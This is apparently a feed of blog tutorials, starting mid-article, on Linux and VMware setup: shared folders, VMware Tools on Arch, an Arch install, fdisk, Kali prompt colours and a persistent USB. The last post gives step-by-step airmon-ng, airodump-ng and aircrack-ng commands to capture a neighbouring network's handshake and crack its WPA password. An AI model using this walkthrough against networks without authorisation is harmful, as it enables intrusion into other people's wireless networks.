Virtual Machine Settings/Options/Shared Folders

Step 2 – Check if the Created Share is Visible

A test is performed first if the shared folder is visible before relocating shared folders in VMware Workstation.

# vmware-hgfsclient

Step 3 – Create the Folder Where the Shared Host Folder Will Appear

Run the command mkdir <shared-folder-root-directory>, where “<shared-folder-root-directory>” may be created anywhere in the root (“/”) file system. It is preferable though, to create the directory in your home directory so it becomes easily accessible like your other user files like the Desktop, Documents, Downloads, Music, Pictures, Public, Templates, Videos, etc.

# mkdir <shared-folder-root-directory>

Step 4 – Mount the Shared Folder

Mount the shared folder. Replace “<shared_folder>” with the folder name used in Step 1 (in my example, it is “VMShare”). Replace “<shared-folder-root-directory>” with the directory name created in Step 3 (for me, it is /root/VMShare).

# vmhgfs-fuse -o allow_other -o auto_unmount .host:/<shared_folder> <shared-folder-root-directory>

The shared folder should now appear with a sharing icon in your home directory after a successful relocating of shared folders in VMware Workstation.

Step 5 – Add an Fstab Entry

The shared folder will disappear when you reboot your system and you will need to re-mount the shared folder. To make the mount permanent, edit the file /etc/fstab and append the line:

.host:/<shared_folder> <shared-folder-root-directory> fuse.vmhgfs-fuse nofail,allow_other 0 0

To edit the file, I usually use nano.

# nano /etc/fstab

After saving the file, that’s it. You’re shared folder will now show up in your home directory all the time in between reboots.

Note: In other Linux distributions where VMware Tools are installed as it is, without any patches, once the shared folder is created in the VM Settings/Options, the shared folder automatically appears (get mounted) at /mnt/hgfs/<shared-name> directory.

Related Articles on Relocating Shared Folders in VMware Workstation

How to Install VMware Tools in Arch Linux

References on Relocating Shared Folders in VMware Workstation

VMware/Installing Arch as a guest
VMware-Tools-Patches
How to configure VMware Tools Shared Folders Linux mounts (60262)

The post Relocating Shared Folders in VMware Workstation appeared first on CyberBlogSpot.

09 October 2019 Update:

VMware Player Version 15.5.0 downloaded on 09 October 2019 installs without any issues on my existing Kali system (Kali Version 5.2.0).

Important: This post is specifically for Kali Linux distribution as I did not have any problem installing VMware Workstation Player for other Linux distributions like Ubuntu or Linux Mint.

It’s quite easy to install VMware Player on Kali Linux but making it work is another thing. After successfully installing VMware Player and launching it, this is what you’ll get:

The log file mentioned on the error message above is pages long and is meant for people with knowledge of the inner workings of Linux.

If you searched the Internet, you would find out that this problem goes way back years to version 14 of VMware Player. To fix the problem, some people would advise you to install “build-essentials”, “kernel-devel”, “gcc”, “linux-headers”, and all sort of packages. Some would even say that VMware is not for Kali Linux and would advise you to use VirtualBox instead, or use another Linux distribution to be able to install VMware.

The truth is, all the tools for modifying the kernel are already installed on a Kali Linux 2019 distribution and we don’t even need to install another tool. And using VirtualBox or another Linux distribution is pointless, as we want a VMware Player installation on a Kali Linux distribution. Period.

The real fix to this problem is mkubecek’s vmware-host-modules on github.com – https://github.com/mkubecek/vmware-host-modules.

If you know your way around Linux, go ahead, get the “vmware-host-modules” on github and enjoy VMware Player 15.1 on Kali LInux 2019. A step by step procedure for installing VMware Player on Kali Linux follows.

Step 1 – Download VMware Player

Download VMware Player 15.1 – https://my.vmware.com/en/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/15_0. As of this writing, 20 September 2019, the current VMware Player downloadable is VMware-Player-15.1.0-13591040.x86_64.bundle .

Step 2 – Run VMware Player Installer

# cd Downloads
# chmod +x VMware-Player*
# ./VMware-Player-15.1.0-13591040.x86_64.bundle

Related Articles:

References:

http://www.vmware.com

The post How to Install VMware Player 15.1 on Kali Linux 2019 – and Make It Work! appeared first on CyberBlogSpot.

Conclusions:

• Jpg is smaller than png
• trimming a image appears to zoom the image as the pixels are stretched
• with the Cali Theme, image width must be at least 750 pixels to fill the entire width of the content display (image will have no spaces on either side)

The post Comparison of Trimmed Images appeared first on CyberBlogSpot.

In Arch Linux, VMware Tools does not install as easily as it does on Windows and other Linux distributions. One of the problem is the absence of “init directory” that the installer needs for it’s proper installation. A google search will point you the official Arch Linux website and a github vmware-tools-patches. Both articles are about making patches to make VMware Tools.

The procedure outlined below does not make any patches and only entails creating the systemd service file to start the VMware Tools service daemon.

Step 1 – Dowload VMware Tools

Download the VMware Tools package by clicking the “Install Tools” button at the bottom of the VMware Workstation’s window. You may also start the download process by using the menu at the top of the window by selecting VM/Install VMware Tools.

Step 2 – Unpack VMware Tools

If the VMware Tools download in Step 1 was successful, the installer ISO image would be automatically mounted on the file system, as shown in the screenshot below. The installer is mounted at /run/media/root/’VMware Tools’.

Let us unpack the compressed installer file to our home directory. Note that I am logged in as the user “root” and my home folder is “/root”.

# tar xf /run/media/root/'VMware Tools'/VMwareTools*.tar.gz -C /root

The uncompressed installer is now at my home directory as shown by the image below.

Step 3 – Create a Fake Init Directory

Before we run the installer, we need to create a fake init directory. The init directory is used by Linux distributions that use System V Init for initialization. Arch Linux does not use the System V Init but instead uses the new systemd initialization.

# for x in {0..6}; do mkdir -p /etc/init.d/rc${x}.d; done

Step 4 – Run the VMware Installer

Now, we can run the installer.

# ./vmware-tools-distrib/vmware-install.pl

On my install, I accepted all the defaults by pressing the enter key for all the prompts. The screenshot of the resulting message after the installation process is shown below. Take note that it says that it was unable to start the vmware-tools service.

Step 5 – Create a VMware Tools Service File

Create the service file /etc/systemd/system/vmwaretools.service by starting a text editor.

# nano /etc/systemd/system/vmwaretools.service

Type in the following text and save the file.

[Unit]
Description=VMWare Tools Daemon

[Service]
ExecStart=/etc/init.d/vmware-tools start
ExecStop=/etc/init.d/vmware-tools stop
PIDFile=/var/lock/subsys/vmware
TimeoutSec=0
RemainAfterExit=yes
 
[Install]
WantedBy=multi-user.target

Step 6 – Start and Enable VMware Tools Service

To start the VMware Tools service, you can use the command:

# systemctl start vmwaretools.service

To make the service start at boot time, we use the command:

# systemctl enable vmwaretools.service

Step 7 – Reboot and Check

To see if VMware Tools successfully starts after after a reboot, type the command:

# systemctl status vmwaretools.service

That’s it, and we have now a working VMware Tools Daemon.

Related Arcticles: 

How to Partition a Disk in Linux with fdisk

References:

https://wiki.archlinux.org/index.php/VMware/Installing_Arch_as_a_guest

The post How to Install VMware Tools in Arch Linux appeared first on CyberBlogSpot.

Step 1 – Partition the hard drive

The first decision to make when installing an operating system is how to partition the hard disk. In Linux, there are different partition schemes we can use:

• All files in one partition – a single big partition for the whole system (“/” or root partition) and a small swap partition equal to the size of the memory. This is actually a two-partition scheme.
• Separate /home partition – a partition for root (/), a partition for /home, and a swap partition. A scheme that uses a total of three (3) partitions.
• Separate /home partition and one or more separate partition for /var, /tmp, /usr, /root, etc. Some people call this the complex scheme. It uses four (4) or more partitions including the swap partition.

To make things simple, we will use the two-partition scheme. We will partition a 30GB disk into a 28GB root (/) partition and a 2GB swap partition.

First, run the following command in a terminal window to start the partitioning process:

# fdisk /dev/sda

For a step-by-step procedure, see: How to Partition a Disk in Linux with fdisk.

The output of the command lsblk below shows the 30GB hard disk sda partitioned into a 28GB sda1 and a 2GB sda2, after completing the command fdisk /dev/sda above.

Step 2 – Format and mount the partitions

The next step is to format and mount the first partition sda1.

# mkfs.ext4 /dev/sda1
# mount /dev/sda1 /mnt

Then, we turn the second partition sda2 into a swap partition and subsequently, enable it.

# mkswap /dev/sda2
# swapon /dev/sda2

If we want to make sure if everything is going on right up to this point, we use the command lsblk again. As can be seen below, sda1 has been mounted on /mnt and the swap partition is already enabled.

Step 3 – Download and install the base distribution packages

Now we are ready to download and install the base distribution packages (does not include the GUI interface yet). But first, we have to make sure we have an internet connection. Type the command below:

# ping -c 4 www.google.com

We sent four (4) packets to google and it responded accordingly, so we are good.

Also, we have to modify the file /etc/pacman.d/mirrorlist. This procedure could make a big difference on how fast we could download the distribution packages . Moreover, we could avoid being flooded with error messages. This is because one of the mirrors in the list is not serving the data anymore (in case you have the same mirrorlist that I had).

As a background information, the mirrorlist contains the list of servers around the world serving the Arch Linux distribution packages. When we start the download process, the downloader uses the first server on the top of the list. If the server turns out to be slow, maybe because of the server’s geographical location, the downloader will not switch to another faster server. The downloader will only switch to the next server on the list if it encounters an error. As a result, we may end downloading from a very slow server, making a few minutes of download turn into a couple of hours of waiting.

On my first try at installing Arch Linux, I unwittingly skipped this very important procedure. The result: it took me approximately two hours and a half (2.5 hours) to download a mere 1GB of data on a 40 Mbps fiber connection. What was supposed to be a few minutes of download turned into a two-hour-plus nightmare. Moreover, my terminal display was flooded with error messages because the first server on the top of the list, http://mirror.netweaver.uk, was not serving the distribution packages anymore.

To check the status of a mirror, go to https://www.archlinux.org/mirrors/status/

Therefore, we definitely need to modify the mirrorlist before proceeding. We should make sure that the servers geographically near us is at the top of the list. We can do this without actually moving the names by simply commenting out the lines preceding the server(s) we want to use (put a hashtag sign, “#”, at the beginning of the lines). Below is a screenshot of the top part of the mirrorlist.

To modify the mirrorlist, we run the command:

# nano /etc/pacman.d/mirrorlist

After saving the modified mirrorlist, we can now download and install the base packages.

# pacstrap /mnt base base-devel

Step 4 – Configure the new installation

Step 4A – Generate the configuration file fstab

Generate an fstab to be appended to the existing fstab file located in /mnt/etc/fstab.

# genfstab -U /mnt >> /mnt/etc/fstab

The fstab (file system table) is a configuration file containing file systems and their mount points. It is located in /etc/fstab in the new system.

Before continuing with the configuration, we chroot to the newly installed system.

# arch-chroot /mnt

Take note that the prompt changed when we chroot-ed with the command arch-chroot. It indicates that we are now inside the newly installed system, and, as also shown by the prompt, we are in the new system’s root (/) directory. All the subsequent system commands will now run in the context of the newly installed Arch Linux system that we are currently configuring.

Step 4B – Set the time zone and set the hardware clock from the system clock

Create a symbolic link to the zoneinfo and synchronize the real time clock (hardware clock or BIOS clock) from the system clock.

# ln -sf /usr/share/zoneinfo/<Region>/<City> /etc/localtime
# hwclock --systohc

The time zone configuration file is /etc/localtime. It is a symbolic link to a specific file in /usr/share/zoneinfo.
The command hwclock –systohc creates /etc/adjtime. It contains information on the time drift of the hardware clock.

Step 4C – Set localization

We will need to generate a compiled localization file (/usr/lib/locale/locale-archive). In order to do this, we must first un-comment the locale identifier that we need in the file /etc/locale.gen. For example, if we want to localize in English particular to the US and use the UTF-8 characters, we need to open the file /etc/locale.gen and remove the hashtag (#) from the line #en_US.UTF-8 .

# nano /etc/locale.gen

After saving the changes to /etc/locale.gen, run the command locale-gen.

# locale-gen

This will generate the file /usr/lib/locale/locale-archive.

Afterwards, create the file /etc/locale.conf defining the LANG variable.

# echo LANG=en_PH.UTF-8 > /etc/locale.conf

Step 4D – Configure Network

Create the file /etc/hostname containing the host name or computer name to be assigned to this system.

# echo archlinux > /etc/hostname

Next, append the file /etc/hosts with the following texts:
127.0.0.1 localhost
:: 1 localhost
127.0.1.1 myhostname.localdomain myhostname

The file /etc/hosts, contains a mapping of IP addresses and hostnames. This file is the first place where programs look for when trying to resolve the IP address of a certain host.

# nano /etc/hosts

Step 4E – Set the root password

In this step, you will be prompted for a new password.

# passwd

Step 4F – Download and install the boot loader

Download the grub boot loader.

pacman -S grub

Install the grub boot loader.

grub-install /dev/sda
grub-mkconfig -o /boot/grub/grub.cfg

Step 5 – Reboot

Type the command “exit“. Then type the command”reboot“. See the output sample below.

# exit
# reboot

Step 6 – Network configuration, part two

The previous steps that we have followed so far are based on the official Arch Linux Installation Guide. But after the first reboot, if we test for an internet connection just as we did in Step 3 above, we will find out that we have lost our internet connection.

# ping www.google.com

Something is still missing!

The solution here can be found in the guide on systemd-networkd: https://wiki.archlinux.org/index.php/Systemd-networkd

We need to configure the installed network service systemd-networkd. Identify first the device name of the LAN adapter:

# ip link

In my case, my network adapter is name ens33. Create a file name <adaptername>.network in /etc/systemd/network, where adaptername is the name of the network adapter.

# nano /etc/systemd/network/ens33.network

Place the following entries in the file and save the file.

[Match]
Name=ens33
[Network]
DHCP=ipv4

Next, we will create the configuration file /etc/resolv.conf.

# nano /etc/resolv.conf

Type in the following text and save the file:

nameserver 8.8.8.8
nameserver 8.8.4.4

The systemd-networkd configuration is done, so we start the service. To automatically start the service at boot time, enable the service.

systemctl start systemd-networkd
systemctl enable systemd-networkd

Step 7 – Download and install gnome desktop

Download and install xorg and gnome desktop.

# pacman -S xorg xorg-server
# pacman -S gnome gnome-extra

Run systemctl enable gdm.service to make gnome desktop load after booting. And then, systemctl start gdm.service to bring up the gnome login screen.

# systemctl enable gdm.service
# systemctl start gdm.service

We now have the gnome login window.

And the gnome desktop.

But going on to the network setup, there seems to be a problem.

Gnome installed NetworkManager to be used for managing the network but it still has to be started and enabled. Open a terminal windows and type in the commands:

# systemctl start NetworkManager
# systemctl enable NetworkManager

Great job! Now, enjoy your new Arch Linux!

What to Do Next

After a successful install of Arch Linux, VMware Tools is generally installed next in order add useful features such as copy and pasting and file sharing between host and guest computers. Please refer to:

How to Install VMware Tools in Arch Linux

The post How to Install Arch Linux on VMware WorkStation Player appeared first on CyberBlogSpot.

Step 1 – Find the device name of the disk to be partitioned

# lsblk
# fdisk -l

The device name for the first disk is /dev/sda, the second disk is /dev/sdb, the third disk is /dev/sdc, and so on.
In this case, we have a 30GB drive named /dev/sda.

Step 2 – Create the first partition

Run the fdisk command specifying the device name.

# fdisk /dev/sda

• Type “n” and press the “enter key”
• Type “p” or press the “enter key” to select the default partition type: primary
• Type “1” or press the “enter key” to select the default partition number: 1
• Type “2048” or press the “enter key” to select the default first sector: 2048
• Type “+28G” for the size of the partition, and press the “enter key”

That’s it for the first 28GB partition.

Step 3 – Create the second partition

• Type “n” and press the “enter key”
• Type “p” or press the “enter key” to select the default partition type: primary
• Type “2” or press the “enter key” to select the default partition number: 2
• Press the “enter key” to select the default first sector
• Press the “enter key” to select the default last sector

Take note that on the first sector and last sector prompt, we simply use the default values since we want to use all the remaining space of 2GB for the second partition.

The two (2) partitions are already created but we still need to write the changes to the disk.

Step 4 – Write the partitions to the disk

• Press “w” and the “enter key”

fdisk writes the changes to the partition table of the disk and automatically exits to the shell prompt.

Step 5 – Verify the created partitions

To verify if we really succeeded in partitioning the drive into two (2) partitions, we use lsblk and fdisk again.

# lsblk
# fdisk -l

As the output shows, we have the two (2) partitions sda1 and sda2 under the device sda with the correct sizes of 28GB and 2GB respectively.

For the details of the commands used in this tutorial, please refer to:
fdisk
lsblk

Related Articles on How to Partition a Disk in Linux with fdisk

How to Install VMware Tools in Arch Linux
How to Install VMware Tools in Arch Linux

The post How to Partition a Disk in Linux with fdisk appeared first on CyberBlogSpot.

The environment variable PS1 (Prompt String One) holds the string that is being displayed as a command or shell prompt in the terminal emulator program Terminal. The prompt string is embedded (interspersed) with color tags in the form of

\[\033[x;ym\]

where x is a display attribute (normal, dim, bold, italics, etc) and y is the color code.

Changing the value or content of PS1 during a terminal session quickly changes the displayed prompt, however, the changes are lost once the terminal session is closed. To make the changes permanent, the hidden file named .bashrc located in the user’s home directory must be edited to reflect the changes in the prompt string.

Displaying the Value of PS1

Command

echo $PS1

Output

\[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;33m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$

Changing the Prompt

The prompt string can be made as simple as a single character like a dollar sign ($) or a hashtag sign (#). Or it can be any text string you may want. To change the prompt string, assign a new value to PS1.

To enter a string with spaces or non-printable characters, enclose the string with single (‘) or double (“) quotes.

PS1=$
PS1=#
PS1=Jean
PS1="Jean Valjean"
PS1=24601

The Default Shell Prompt

The default shell prompt, besides being a cue for entering a shell command in a terminal session, is also used to convey a lot of information about the system. Take for an example the default Kali Linux shell prompt,

root@kali~#

The default shell prompt is in red, a warning sign. It indicates that the terminal user has administrative privileges or root privileges. It means that the user may, and can, mess up the system with improper commands like deleting files necessary for Kali’s normal operations.

It also shows the current user root, the host name kali, the current working directory, the home directory represented by the tilde sign (~), and finally, the hashtag sign (#) indicating a priveleged user as opposed to an ordinary user which is usually handed a prompt with a dollar sign ($).

Understanding the Cryptic PS1

To incorporate meaningful information on the shell prompt, bash, the shell interpreter, uses a special set of characters called escape characters , to encode information in the prompt string. See the table (Bash Prompt Escape Characters) below for the complete list of escape characters that are recognized by bash.

Let’s try this one:

PS1='\u\h\w\$'

The resulting prompt (rootkali~#) is close to the default prompt (root@kali:~#). Let us now insert the hashtag sign (@) sign between the words “root” and “kali” and also insert the colon sign (:) between the word “kali” and the tilde sign (~):

PS1='\u@\h\w:\$'

The resulting shell prompt is now the same as the default prompt, only, without the colors.

As mentioned above the color tag is in the form of:

\[\033[x;ym\]

where x is an attribute and y is the color code.

[table id=14 /]

Going back to our last shell prompt,

PS1='\u@\h\w:\$'

we’ll add the color tag for red (31) with bold (1) attribute to make the words “root@kali” bold red,

\[\033[1;31m\]

add the color tag for blue (34) with bold (1) attribute before the tilde sign,

\[\033[1;34m\]

and finally, insert the color tag for white (37) with normal (0) attribute after the tilde sign,

\[\033[0;37m\]

The resulting code will be:

PS1='\[\033[1;31m\]\u@\h\[\033[1;34m\]\w:\[\033[0;37m\]\$'

Now, we have the Kali’s default shell prompt.

Summary

To summarize, the shell prompt string is stored in the environment variable PS1. The string is composed of escape characters with meanings as defined in the table Bash Prompt Escape Characters. It also contains color tags in the form of,

\[\033[x;ym\]

as defined in the Attribute and Color Codes table.

Dissecting Kali’s Default Prompt

The Kali Linux Terminal’s default shell prompt as quoted at the very start of this post is represented by the string,

\[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;33m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$

which is the output of the command:

echo $PS1

The configuration string up to the curly right braced “}” takes effect only when a user changes the apparent root directory by using the command “chroot”.

\[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}

Since we are not chroot-ing, we’re interested only on the part of the environment string past the curly right braces “}”, which is:

\[\033[01;33m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$

Based on our discussion above, here is the dissection of the said prompt:

Table 2. Bash Prompt Escape Characters

Related Articles:

How to Partition a Disk in Linux with fdisk

References:

https://www.gnu.org/software/bash/manual/bash.pdf

The post How to Change Kali Terminal Prompt Color appeared first on CyberBlogSpot.

# apt-get update
# apt-get upgrade
# apt-get install <software package name>

Run “apt-get update” and “apt-get upgrade” to update installed software packages.
To install a new software package, run “apt-get install <software package name>”.

Apt sources list is /etc/apt/sources.list and must contain:

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free

Information Display

# uname -a

Display operating system version.

# lsblk

List block devices like hard drives and usb drives.

The post Kali Linux Terminal Commands appeared first on CyberBlogSpot.

commands:

# lsblk

create new primary partition on sdb2’s free space, write the changes and quit cfdisk

# cfdisk /dev/sdb (cfdisk is curses fdisk)

# mkfs.ext4 -L persistence /dev/sdb3 – make an ext4 filesystem on sdb3

# e2label /dev/sdb3 persistence – label with “persistence”

create the configuration file

# mkdir -p /mnt/my_usb
# mount /dev/sdb3 /mnt/my_usb
#echo “/ union” > /mnt/my_usb/persistence.conf
#umount /dev/sdb3

done

The post How to Make Kali Linux Live Persistent appeared first on CyberBlogSpot.

Whatever your motivations for studying wifi password hacking, be advised that cracking a password with an ordinary home computer may take a few seconds to a million years, depending on the strength of the password being cracked. See https://password.kaspersky.com/, for a test on how long it takes to crack different passwords.

The procedure for cracking using Kali Linux:

Step 1 – Identify Wireless Adapter Device Name

# ifconfig

Based on the output above, my wireless adapter device name is wlan0.

Step 2 – Place Wireless Adapter in Monitor (Promiscous) Mode

# airmon-ng start wlan0

The output of the command indicates that “monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon“. To verify this, run the command ifconfig again.

# ifconfig

Take note that the network device wlan0 disappeared from the display and was replaced by wlan0mon.

Step 3 – Display the Wireless Networks in the Neighborhood

# airodump-ng wlan0mon

The output of airodump-ng is a list of wireless networks in the area, and below it, is the list of connected clients associated with each network. Copy the BSSID and CH (channel number) of the target wireless network. In my case I will use the second network on the list with BSSID 38:37:8B:FE:7B:DB operating on channel 5. After copying the BSSID and Channel Number, stop airodump-ng by pressing <ctrl-Z>.

Step 4 – Capture the Handsake Packets

# airodump-ng -c 5 --bssid 38:37:8b:fe:7b:db -w /root/Desktop wlan0mon

Step 5 – Crack the Wireless Password

# aircrack-ng -b 38:37:8b:fe:7b:db -w /usr/share/wordlist/rockyou.txt /root/Desktop/*.cap

Wait for aircrack-ng to finish cracking the password.

Related Articles on How to Hack Wireless Passwords Using Kali Linux

How to Change Kali Terminal Prompt Color

References on How to Hack Wireless Passwords Using Kali Linux

https://www.kali.org/advanced-web-attacks-and-exploitation/

The post How to Hack Wireless Passwords Using Kali Linux appeared first on CyberBlogSpot.